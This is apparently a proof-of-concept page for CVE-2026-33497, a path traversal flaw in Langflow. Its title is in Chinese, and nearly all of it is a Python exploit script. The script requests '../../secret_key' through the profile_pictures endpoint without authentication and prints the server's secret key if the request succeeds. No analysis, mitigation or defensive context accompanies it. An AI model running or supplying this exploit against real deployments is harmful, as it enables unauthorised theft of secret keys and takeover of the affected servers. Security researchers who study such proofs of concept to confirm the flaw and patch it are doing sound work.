CVE-2026-33497 Langflow 路径遍历漏洞

import requests # Target URL (replace with actual host) target_url = "http://localhost:3000/profile_pictures/{folder_name}/{file_name}" # Exploit payload: Use '../' to traverse directories # Assuming the application root is a few levels up from the upload folder # The goal is to read the sensitive 'secret_key' file. payload_folder = "../../" payload_file = "secret_key" # Construct the malicious URL exploit_url = target_url.format(folder_name=payload_folder, file_name=payload_file) try: # Send the malicious request without authentication response = requests.get(exploit_url) # Check if the request was successful if response.status_code == 200: print("[+] Exploit successful! Secret key content:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") print("[-] Response:") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")